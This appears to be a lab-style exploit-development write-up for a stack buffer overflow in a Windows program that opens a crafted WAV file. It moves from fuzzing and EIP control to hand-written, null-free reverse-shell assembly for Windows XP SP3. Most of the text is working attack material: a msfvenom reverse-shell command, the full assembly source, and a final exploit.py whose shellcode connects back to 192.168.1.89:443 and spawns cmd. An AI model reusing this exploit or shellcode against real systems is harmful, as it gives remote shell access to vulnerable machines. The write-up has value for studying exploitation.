fuzz exploit.py 1 2 3 4 payload="A" *5000 with open("exploit.wav" , "w" ) as fp: fp.write(payload)
1 msf-pattern_offset -q 31684630 -l 5000
exploit.py 1 2 3 4 5 6 payload="A" *4112 payload+="BBBB" payload+="C" *500 with open("exploit.wav" , "w" ) as fp: fp.write(payload)
Now we can control EIP
:
badchar
The return address and shellcode cannot contain \x00\x0a
.
After removing \x00\x0a
:
return address There are many return addresses for us to avoid badchars.
The original exploit use 0x76b43adc
, which is located in winmm.dll
:
Here we use 0x7e21c21c
from C:\Windows\system32\urlmon.dll
as the return address.
exploit.py 1 2 3 4 5 6 7 payload="A" *4112 payload+="\x1c\xc2\x21\x7e" payload+="C" *5000 with open("exploit.wav" , "w" ) as fp: fp.write(payload)
shellcode 1 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.89 LPORT=443 -v shellcode -f python -b "\x00\x0a"
But access violation
when decoding the shellcode:
Where 0x18300000
is readonly:
I need to write a shellcode manually without decoding stuff to shorten the length.
After a short search, I decide to use this reverse shell . But there’s some problems which we need to fix.
null byte The original shellcode has \x00
.
add ExitProcess
Let the process exit gracefully.
replace system
to CreateProcess
The reverse shell needs to detach from the original process.
Steps to create a reverse shell:
Here the reverse shell shellcode is created for Windows XP SP3 only, since the address is hardcoded.
procAddr.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> #include <windows.h> int main (int argc, char *argv[]) { FARPROC addr; if (argc != 3 ) { printf ("usage: %s dll func\n" , argv[0 ]); exit (-1 ); } if ((addr = GetProcessAddress(LoadLibrary(argv[1 ]), argv[2 ])) == NULL ) { printf ("no result\n" ); exit (-1 ); } printf ("%s is at 0x%x\n" , argv[2 ], addr); }
A more general version of reverse shell shellcode will be added.
1 2 3 HMODULE LoadLibraryA ( LPCSTR lpLibFileName ) ;
1 .\procAddr.exe C:\WINDOWS\system32\kernel32.dll LoadLibraryA
The address of LoadLibraryA
is 0x7c801d7b
:
rs.asm(partial) 1 2 3 4 5 6 7 xor eax, eax mov ax, 0x3233 push eax ; 32\0 push 0x5f327377 ; ws2_ push esp mov eax, 0x7c801d7b call eax
But we don’t really need to load ws2_32.dll
manually because it has already been loaded from the original process.
WSAStartup 1 2 3 4 int WSAStartup ( WORD wVersionRequired, LPWSADATA lpWSAData ) ;
The address of WSAStartup
is 0x71ab6a55
:
rs.asm(partial) 1 2 3 4 5 add esp, 0xFFFFFE70 ; Creating space on stack (400 bytes) push esp ; Arg lpWSAData = top of stack push 0x202 ; Arg wVersionRequired = 2.2 mov eax, 0x71ab6a55 ; WSAStartup call eax
Note this executable file cannot run directly because of the lack of LoadLibraryA
ws2_32.dll
.
1 objdump -d -M intel ./rs.exe
1 2 3 4 5 401000: 81 c4 70 fe ff ff add esp,0xfffffe70 401006: 54 push esp 401007: 68 02 02 00 00 push 0x202 40100c: b8 55 6a ab 71 mov eax,0x71ab6a55 401011: ff d0 call eax
Avoid null byte:
1 2 3 xor eax, eax ; 31 c0 mov ax, 0x0202 ; 66 b8 02 02 push eax ; 50
WSASocketA 1 2 3 4 5 6 7 8 SOCKET WSAAPI WSASocketA ( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags ) ;
param af 1 2 3 4 5 6 7 8 AF_UNSPEC 0 AF_INET 2 # IPv4 AF_IPX 6 # IPX/SPX AF_APPLETALK 16 # AppleTalk AF_NETBIOS 17 # NetBIOS AF_INET6 23 # IPv6 AF_IRDA 26 # Infrared Data Association AF_BTH 32 # Bluetooth
param type 1 2 3 4 5 SOCK_STREAM 1 # TCP SOCK_DGRAM 2 # UDP SOCK_RAW 3 SOCK_RDM 4 SOCK_SEQPACKET 5
param protocol 1 2 3 4 5 6 7 IPPROTO_ICMP 1 # ICMP IPPROTO_IGMP 2 # IGMP BTHPROTO_RFCOMM 3 IPPROTO_TCP 6 # TCP IPPROTO_UDP 17 # UDP IPPROTO_ICMPV6 58 IPPROTO_RM 113
The address of WSASocketA
is 0x71ab8b6a
:
rs.asm(partial) 1 2 3 4 5 6 7 8 9 10 xor eax, eax push eax ; Arg dwFlags = 0 push eax ; Arg g = 0 push eax ; Arg lpProtocolInfo = 0 push 0x6 ; Arg protocol = IPPROTO_TCP push 0x1 ; Arg type = SOCK_STREAM push 0x2 ; Arg af = AF_INET mov eax, 0x71ab8b6a call eax mov ebx, eax ; Store WSASocket() handler
connect 1 2 3 4 5 int WSAAPI connect ( SOCKET s, const sockaddr *name, int namelen ) ;
The address of connect
is 0x71ab4a07
:
rs.asm(partial) 1 2 3 4 5 6 7 8 9 10 11 12 push 0x5901a8c0 ; IP address, 192.168.1.89 mov eax, 0xbb010102 ; Port nr, 443 (first 2 bytes) dec ah ; eax: 0xbb010102 -> 0xbb010002 (Mitigating null byte) push eax ; Store portnr on stack mov esi, esp ; Store pointer to portnr xor eax, eax mov al, 0x10 push eax ; Arg namelen = 16 bytes push esi ; Arg *name = esi -> 0xbb010002 push ebx ; Arg s = WSASocket() handler mov eax, 0x71ab4a07 call eax
According to this manual , when attaching to a new console, standard handles are always replaced with console handles unless STARTF_USESTDHANDLES
was specified during process creation.
If STARTF_USESTDHANDLES
is not specified, cmd
will pop up on the target:
STARTUPINFOA
structure:
STARTUPINFOA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOA, *LPSTARTUPINFOA;
PROCESS_INFORMATION structure:
PROCESS_INFORMATION 1 2 3 4 5 6 typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId; } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
CreateProcessA 1 2 3 4 5 6 7 8 9 10 11 12 BOOL CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) ;
The address of CreateProcessA
is 0x7c80236b
:
The code below is derived from this page .
rs.asm(partial) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 mov edi, ebx ; WSASocket() handler ; mov ebx, esp ; PROCESS_INFORMATION mov edx, 0x646d6363 ; ccmd shr edx, 0x8 ; 0x00646d63 push edx ; cmd\0 mov ecx, esp ; lpCommandLine xor edx, edx sub esp, 0x10 mov ebx, esp ; PROCESS_INFORMATION push edi ; hStdError push edi ; hStdOutput push edi ; hStdInput push edx ; lpReserved2. Reserved for use by the C Run-time; must be NULL. push edx ; cbReserved2. Reserved for use by the C Run-time; must be zero. ; wShowWindow? ; If dwFlags specifies STARTF_USESHOWWINDOW, this member can be any of the values that can be specified in the nCmdShow parameter for the ShowWindow function, except for SW_SHOWDEFAULT. Otherwise, this member is ignored. xor eax, eax inc eax ; 0x1 rol eax, 0x8 ; 0x100 inc eax ; 0x101 push eax ; dwFlags, STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES push edx ; dwFillAttribute push edx ; dwYCountChars push edx ; dwXCountChars push edx ; dwYSize push edx ; dwXSize push edx ; dwY push edx ; dwX push edx ; lpTitle push edx ; lpDesktop push edx ; lpReserved. Reserved; must be NULL. xor eax, eax add al, 0x2c push eax ; cb mov eax, esp ; STARTUPINFOA pointer push ebx ; lpProcessInformation push eax ; lpStartupInfo push edx ; lpCurrentDirectory push edx ; lpEnvironment push edx ; dwCreationFlags xor eax, eax inc eax ; 1 push eax ; bInheritHandles. If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process. push edx ; lpThreadAttributes push edx ; lpProcessAttributes push ecx ; lpCommandLine push edx ; lpApplicationName mov eax, 0x7c80236b call eax
Why there’s no wShowWindow
when constructing structure STARTUPINFOA
?
The original reverse shell doesn’t exit gracefully, which will cause the program exit abnormally.
ExitProcess 1 2 3 void ExitProcess ( UINT uExitCode ) ;
The address of ExitProcess
is 0x7c81cafa
:
rs.asm(partial) 1 2 3 4 xor eax, eax push eax mov eax, 0x7c81cafa call eax
rs.asm Finally, the whole rs.asm
:
rs.asm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 [BITS 32] global _start section .text _start: ; WSAStartup add esp, 0xFFFFFE70 push esp xor eax, eax mov ax, 0x0202 push eax mov eax, 0x71ab6a55 call eax ; WSASocketA xor eax, eax push eax push eax push eax push 0x6 push 0x1 push 0x2 mov eax, 0x71ab8b6a call eax mov ebx, eax ; connect push 0x5901a8c0 mov eax, 0xbb010102 dec ah push eax mov esi, esp xor eax, eax mov al, 0x10 push eax push esi push ebx mov eax, 0x71ab4a07 call eax ; CreateProcessA mov edi, ebx mov edx, 0x646d6363 shr edx, 0x8 push edx mov ecx, esp xor edx, edx sub esp, 0x10 mov ebx, esp push edi push edi push edi push edx push edx xor eax, eax inc eax rol eax, 0x8 inc eax push eax push edx push edx push edx push edx push edx push edx push edx push edx push edx push edx xor eax, eax add al, 0x2c push eax mov eax, esp push ebx push eax push edx push edx push edx xor eax, eax inc eax push eax push edx push edx push ecx push edx mov eax, 0x7c80236b call eax ; ExitProcess xor eax, eax push eax mov eax, 0x7c81cafa call eax
compile 1 2 nasm -f win32 -o rs.obj rs.asm ld rs.obj -o rs.exe
1 objdump -d -M intel ./rs.exe
exploit.py The whole exploit.py
with the 156 bytes shellcode:
exploit.py 1 2 3 4 5 6 7 8 9 shellcode="\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\x05\x11\x11\x11\x11\x05\xf0\xf1\xee\xee\x50\xb8\x55\x6a\xab\x71\xff\xd0\x31\xc0\x50\x50\x50\x6a\x06\x6a\x01\x6a\x02\xb8\x6a\x8b\xab\x71\xff\xd0\x89\xc3\x68\xc0\xa8\x01\x59\xb8\x02\x01\x01\xbb\xfe\xcc\x50\x89\xe6\x31\xc0\xb0\x10\x50\x56\x53\xb8\x07\x4a\xab\x71\xff\xd0\x89\xdf\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x40\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xb8\x6b\x23\x80\x7c\xff\xd0\x31\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0" payload="A" *4112 payload+="\x1c\xc2\x21\x7e" payload+=shellcode with open("exploit.wav" , "w" ) as fp: fp.write(payload)
debug Before calling WSAStartup
:
Before calling WSASocketA
:
Before calling connect
:
After pushing struct STARTUPINFOA
:
Before calling CreateProcessA
:
Before calling ExitProcess
:
proof